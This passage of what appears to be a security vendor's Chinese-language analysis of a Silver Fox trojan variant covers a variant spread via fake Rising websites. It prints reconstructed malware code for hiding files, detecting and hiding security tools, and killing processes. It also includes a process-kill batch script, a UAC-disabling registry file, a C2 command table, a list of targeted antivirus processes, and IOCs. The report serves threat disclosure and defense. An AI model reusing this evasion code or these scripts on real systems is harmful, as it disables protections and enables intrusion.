    DeleteFileA("C:\\xxxx.inst.ini");
    DeleteFileA("C:\\ProgramData\\Microsoft\\EdgeUpdate");
    // 隐藏恶意文件/目录(设置隐藏+系统属性),参数 1 表示设置隐藏+系统属性
    SetFileAttr_ctrl("C:\\ProgramData\\Microsoft\\Program\\xx", 1);
    SetFileAttr_ctrl("C:\\Microsoft\\iXXX3XXX.dat", 1);
    SetFileAttr_ctrl("C:\\Microsoft\\xxxxxxxx.exe", 1);
    SetFileAttr_ctrl("C:\\Microsoft\\XXXXX.xml", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\Microsoft\\iXXX3XXX.exe", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\Microsoft\\xxxxxxxx.dat", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\Microsoft\\XXXXX.xml", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\Microsoft\\Program", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\360EntDT", 1);
    SetFileAttr_ctrl("C:\\Microsoft", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\Program", 1);
    SetFileAttr_ctrl("C:\\ProgramData", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\xxxx\\xxx.exe", 1);
    SetFileAttr_ctrl("C:\\xx.exe", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\xxxx\\xxx.rar", 1);
    SetFileAttr_ctrl("C:\\ProgramData\\xxx.rar", 1);
}

//拷贝需要监控的窗口子串
strcpy(huorongjian, "火绒剑");
strcpy(XueTr, "Xuetr");
strcpy(C32asm, "C32asm");
strcpy(OllyDbg, "Ollydbg");
strcpy(ProcessMonitor, "ProcessMonitor");
strcpy(PowerTool, "Powertool");
strcpy(jianshiqi, "监视器");
strcpy(wangluolianjie, "网络连接");
strcpy(liuliang, "流量");
strcpy(leida, "雷达");

启动文件/窗口处理线程

  • 检查并复制文件
// 检查并复制文件(文件存在性检查与副本创建)
// 检查 C:\tzfz 是否存在
if (_access("C:\\tzfz", 0) == -1) {
    //检查目标文件是否存在
    if (_access("C:\\ProgramData\\xxxx\\xxx.rar", 0) == -1) {
        // 复制文件: C:\ProgramData\xxx.rar -> C:\ProgramData\xxxx\xxx.rar
        CopyFileA("C:\\ProgramData\\xxx.rar", "C:\\ProgramData\\xxxx\\xxx.rar", FALSE);
    }

    //检查复制的文件是否存在
    if (_access("C:\\ProgramData\\xxx.rar", 0) == -1) {
        // 复制文件: C:\ProgramData\xxxx\xxx.rar -> C:\ProgramData\xxx.rar
        CopyFileA("C:\\ProgramData\\xxxx\\xxx.rar", "C:\\ProgramData\\xxx.rar", FALSE);
    }
}

//检查 C:\ProgramData\xxxx\xxx.exe 是否存在
if (_access("C:\\ProgramData\\xxxx\\xxx.exe", 0) == -1) {
    // 复制文件: C:\xx.exe -> C:\ProgramData\xxxx\xxx.exe
    CopyFileA("C:\\xx.exe", "C:\\ProgramData\\xxxx\\xxx.exe", FALSE);
}

//检查 C:\xx.exe 是否存在
if (_access("C:\\xx.exe", 0) == -1) {
    // 复制文件: C:\ProgramData\xxxx\xxx.exe -> C:\xx.exe
    CopyFileA("C:\\ProgramData\\xxxx\\xxx.exe", "C:\\xx.exe", FALSE);
}

//检查 C:\Microsoft\iXXX3XXX.dat 是否存在
if (_access("C:\\Microsoft\\iXXX3XXX.dat", 0) == -1) {
    // 复制文件并设置隐藏属性
    CopyFileA("C:\\ProgramData\\Microsoft\\xxxxxxxx.dat", "C:\\Microsoft\\iXXX3XXX.dat", FALSE);
    Sleep(500);
    SetFileAttr_ctrl("C:\\Microsoft\\iXXX3XXX.dat", 1);  // 隐藏文件
}

//检查 C:\ProgramData\Microsoft\xxxxxxxx.dat 是否存在
if (_access("C:\\ProgramData\\Microsoft\\xxxxxxxx.dat", 0) == -1) {
    // 复制文件并设置隐藏属性
    CopyFileA("C:\\Microsoft\\iXXX3XXX.dat", "C:\\ProgramData\\Microsoft\\xxxxxxxx.dat", FALSE);
    Sleep(500);
    SetFileAttr_ctrl("C:\\ProgramData\\Microsoft\\xxxxxxxx.dat", 1);  // 隐藏文件
}
  • 枚举窗口检测安全工具
// 复制安全工具名称到缓冲区(用于后续窗口检测)
strcpy(huorongjian, "火绒剑");
strcpy(XueTr, "XueTr");
strcpy(C32asm, "c32asm");
strcpy(OllyDbg, "OllyDbg");
strcpy(ProcessMonitor, "Process Monitor");
strcpy(PowerTool, "PowerTool");
strcpy(jianshiqi, "监视器");
strcpy(wangluolianjie, "网络连接");
strcpy(liuliang, "流量");
strcpy(leida, "雷达");
// 枚举窗口检测安全工具
EnumWindows(CheckSecurityTool_Text, 0);
// 如果检测到安全工具,重新启动自身并退出
if (Global_Flags_Exe != 0) {
    char szFileName[MAX_PATH];
    GetModuleFileNameA(NULL, szFileName, MAX_PATH);
    ShellExecuteA(NULL, "open", szFileName, NULL, NULL, SW_SHOWNORMAL);
    ExitProcess(0);
}
  • 终止进程
// 终止进程(清理痕迹)
// 终止 rundll322.exe
if (Check_Target_Process_ctrl("rundll322.exe")) {
    WinExec("taskkill /im rundll322.exe /f & exit", SW_HIDE);
}
// 终止 rundll3222.exe
if (Check_Target_Process_ctrl("rundll3222.exe")) {
    WinExec("taskkill /im rundll3222.exe /f & exit", SW_HIDE);
}
// 终止 rundll32222.exe
if (Check_Target_Process_ctrl("rundll32222.exe")) {
    WinExec("taskkill /im rundll32222.exe /f & exit", SW_HIDE);
}
  • 处理360安全卫士窗口
// 处理360安全卫士窗口
hWnd = FindWindowA(NULL, "360安全卫士Beta版");
if (hWnd != NULL) {
    // 获取窗口矩形
    GetWindowRect(hWnd, &Rect);

    // 计算居中位置
    X = (GetSystemMetrics(SM_CXSCREEN) - (Rect.right - Rect.left)) / 2;
    Y = (GetSystemMetrics(SM_CYSCREEN) - (Rect.bottom - Rect.top)) / 2;

    // 先移动窗口到居中位置
    SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOSIZE);
    // 然后设置窗口大小为1x1(最小化隐藏)
    SetWindowPos(hWnd, HWND_TOP, X, Y, 1, 1, SWP_NOZORDER);
}
  • 隐藏其他安全工具窗口
// 隐藏其他安全工具窗口
hWnd = FindWindowA(NULL, "360文件解锁");
if (hWnd != NULL) {
    ShowWindow(hWnd, SW_HIDE);
}
hWnd = FindWindowA(NULL, "任务计划");
if (hWnd != NULL) {
    ShowWindow(hWnd, SW_HIDE);
}
hWnd = FindWindowA(NULL, "360任务管理器");
if (hWnd != NULL) {
    ShowWindow(hWnd, SW_HIDE);
}
hWnd = FindWindowA(NULL, "文件粉碎机");
if (hWnd != NULL) {
    ShowWindow(hWnd, SW_HIDE);
}

hWnd = FindWindowA(NULL, "任务计划程序");
if (hWnd != NULL) {
    SendMessageA(hWnd, WM_CLOSE, 0, 0);
}

阻止系统休眠

DWORD Stop_SysSleep(LPVOID lpThreadParameter)
{
  int i; 

  if ( !SetThreadExecutionState(0x80000003) )
    SetThreadExecutionState(0x80000001);
  for ( i = 0; i < 9999999; ++i )
  {
    Sleep(0x3E8u);
    OutputDebugStringA(OutputString);
  }
  OutputDebugStringA(aThreadExit);
  return 0;
}

循环检测360Tray.exe进程并设置状态文件

int LoopCheck_360Tray_And_Create_XXXX_INI(LPVOID lpThreadParameter) 
{
    // 无限循环
    while (1) {
        // 检查 360Tray.exe 进程是否存在(大小写敏感)
        if (Check_Target_Process_ctrl("360Tray.exe")) {
            // 进程存在,跳转到休眠
            goto SLEEP_AND_CONTINUE;
        }
        // 检查 360tray.exe 进程是否存在(小写)
        if (Check_Target_Process_ctrl("360tray.exe")) {
            // 进程存在,跳转到休眠
            goto SLEEP_AND_CONTINUE;
        }
        // 检查 c:\xxxx.ini 文件是否存在
        if (_access("c:\\xxxx.ini", 0) != -1) {
            // 文件存在,跳转到休眠
            goto SLEEP_AND_CONTINUE;
        }
        // 如果进程不存在且文件不存在,创建文件
        // 执行命令: cmd /c echo.>c:\xxxx.ini
        // 创建一个空文件作为标记
        WinExec("cmd /c echo.>c:\\xxxx.ini", SW_HIDE);
    SLEEP_AND_CONTINUE:
        // 休眠 500ms 后继续循环
        Sleep(500);
    }
    return 0;
}

连接C2等待命令

C2地址是:8.218.106.149

C2命令及功能列表如下:

编号 功能 编号 功能
0x0 进程提权 0xED 删除文件xxxx.ini
0x1 空指令 0x71 设置scvhost自启
0x2 注册表,aRemarkbeizhu置1 0x72 删除Chrome特定目录下所有文件
0x3 初始化C2连接信息 0x73 修改屏幕分辨率
0x4 注册表,aGroupfenzhu置1 0x74 释放文件Uac.reg
0x5 删除系统日志信息 0x75 结束explorer.exe
0x6 远程执行EXE 0x76 禁用UAC
0x7 下载文件 0x77 开启键盘记录
0x8 通过IE的注册表配置(非隐藏窗口)执行命令 0x7F 进入登录的QQ
0x9 通过IE的注册表配置(隐藏窗口)执行命令 0x80 进入钓鱼的QQ
0xA 利用文件管理运行特定程序 0x81 删除所有IE缓存文件
0xB 弹出自定义消息的消息框 0x82 删除Chrome特定目录下所有文件
0xC 检查特定进程是否存在 0x83 删除Skype特定目录下所有文件
0xD 检查特定窗口是否存在 0x84 删除Firfox特定目录下所有文件
0xE 加载插件 0x85 删除360SE特定目录下所有文件
0x12 部署EXE到特定目录 0x86 删除QQBrowser特定目录下所有文件
0x65 0x66 0x67 0x68 0x69 0x6A 0x6B 0x6C 0x6D 0x6E 0x6F 加载插件相关 0x87 删除SogouExplorer特定目录下所有文件
0x70 关闭键盘记录 0x88 插件相关
0xE0 弹出内容为3的消息框 0x8A 检查系统是否存在特定软件
0xE1 弹出内容为4的消息框 0xDE 弹出内容为1的消息框
0xE2 下载插件 0xDF 弹出内容为2的消息框
0xE3 下载并运行插件 0xE7 重新运行程序,并退出当前进程
0xE8 释放脚本,终止特定进程 0xEC 创建文件xxxx.ini

终止可疑进程的脚本:

@echo on
setlocal enabledelayedexpansion

:: ============================================================
:: 排除IP地址列表
:: ============================================================
set exceptRemoteIPList="127.0.0.1" "0.0.0.0"

:: ============================================================
:: 绝对排除TCP端口:只要进程存在,就排除(不终止)
:: ============================================================
set exceptRemotePortList=80 443 9082 8727 8728 36060 36061 3389

:: ============================================================
:: 松散排除TCP端口:默认排除,但如果有其他条件则不排除
:: ============================================================
set exceptRemotePortListRelax=80 443 9082 8727 8728 36060 36061 21 3389

:: ============================================================
:: 遍历所有TCP连接
:: ============================================================
for /f "tokens=3-5" %%A in ('netstat -ano -p tcp ^| find ":"') do (

    :: #%%C 的值 [0,1,2]
    :: 0 = 不排除(需要终止)
    :: 1 = 绝对排除(保留)
    :: 2 = 松散排除(默认)
    if not defined #%%C set #%%C=2

    :: 解析远程地址和端口
    for /f "tokens=1-2 delims=:" %%D in ("%%A") do (

        :: 检查是否在绝对排除端口列表中
        for %%i in (!exceptRemotePortList!) do (
            if %%E equ %%i set #%%C=1
        )

        :: 如果是松散排除模式
        if !#%%C! equ 2 (
            set flag=0

            :: 检查是否在松散排除端口列表中
            for %%i in (!exceptRemotePortListRelax!) do (
                if %%E equ %%i set flag=1
            )

            :: 检查是否在排除IP列表中
            for %%i in (!exceptRemoteIPList!) do (
                if "%%D"==%%i set flag=1
            )

            :: 如果不在任何排除列表中,标记为不排除
            if !flag! equ 0 set #%%C=0
        )
    )
)

:: ============================================================
:: 根据标记终止进程
:: ============================================================
for /f "tokens=1* delims==" %%A in ('set #') do (
    if %%B equ 0 (
        for /f "delims=#" %%C in ("%%A") do (
            tasklist /fi "pid eq %%C" /fo csv /nh | findstr /li /c:"ctfmon.exe" /c:"iXXX3XXX.exe" /c:"microsoft.net.exe" /c:"rundll32.exe" /c:"php-cgi.exe" /c:"mstsc.exe" /c:"svchost.exe" /c:"Proxifier.exe" /c:"360Tray.exe" /c:"360tray.exe" /c:"QQ.exe" /c:"2022上帝之眼站群15.3.exe" /c:"SmartServerPlusv2.0.exe" /c:"FTPServer.exe" || taskkill /pid %%C /t /f
        )
    )
)

用于禁用UAC的reg文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableLUA"=dword:00000000

::关闭UAC由最火软件站 www.veryhuo.com提供
::如需开启UAC将00000000改成00000001再次导入

检测的进程名列表:

序号 进程名
1 Telegram.exe
3 WeChat.exe
4 Skype.exe
6 Weixin.exe
7 360tray.exe
9 360sd.exe
11 avp.exe
12 KvMonXP.exe
13 RavMonD.exe
14 Mcshield.exe
15 egui.exe
17 kxetray.exe
18 DingTalk.exe
20 ashDisp.exe
22 rtvscan.exe
23 kxetray.exe
24 ksafe.exe
25 hipstray.exe
26 wsctrl.exe
27 usysdiag.exe
28 QQPCRTP.exe
29 K7TSecurity.exe
30 knsdtray.exe
31 TMBMSRV.exe
32 Miner.exe
33 Feishu.exe
34 WXWork.exe
35 V3Svc.exe
36 QUHLPSVC.EXE
37 QUICK HEAL
38 msseces.exe
40 MsMpEng.exe
42 S.exe
43 1433.exe
44 DUB.exe
45 ServUDaemon.exe
46 BaiduSdSvc.exe

总结

  本次攻击活动是银狐木马家族的一次典型变种行动,攻击者通过仿冒瑞星官网,利用可信品牌背书诱导用户下载带毒安装包,实现了高效的初始感染。从技术层面看,该样本展现了较高的对抗能力:多个模块使用VMProtect保护、反调试/反沙箱检测、多阶段Payload部署、内存加载执行、内核驱动级进程终止等。从攻击链路看,从MSI安装包到最终后门模块,共经历多个阶段,每阶段均经过加密保护,显著增加了检测和分析难度。

  该木马最终建立完整的远控能力,支持40余种命令,可执行文件下载、进程管理、屏幕监控、键盘记录、浏览器数据窃取等操作,对政企机构构成严重威胁。

预防措施

  1. 谨慎下载软件:仅从官网或可信应用商店下载软件,对来源不明的安装包保持警惕

  2. 检查网站真实性:访问前核对域名,注意仿冒网站常见的细微拼写差异

  3. 保持安全软件更新:确保杀毒软件和防火墙处于最新状态并开启实时防护

  4. 监控异常行为:关注异常进程、计划任务和注册表修改等行为

  5. 及时安装补丁:保持Windows和第三方软件安全更新

  6. 启用日志审计:开启Windows事件日志,定期审查安全事件

瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

沦陷信标(IOC)

  • MD5

    6d80ed242043107482f8230d90d31a4a
    d0990e35dc6474269599601f8dee1625
    c8977f8db2c79463157c298bb0328198
    85c36ab04a0a7458da63608ca81c8e59
    2fcd977e13f24671ad824a569f1d3c4d
  • Domain

    rising-ai.com.cn
    rising-ai1.com.cn
    rising-ai2.com.cn
    rising-ai3.com.cn
    zlq2s4.oss-cn-beijing.aliyuncs.com
    26nn.oss-cn-hangzhou.aliyuncs.com
  • IPV4

    8.218.106.149

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *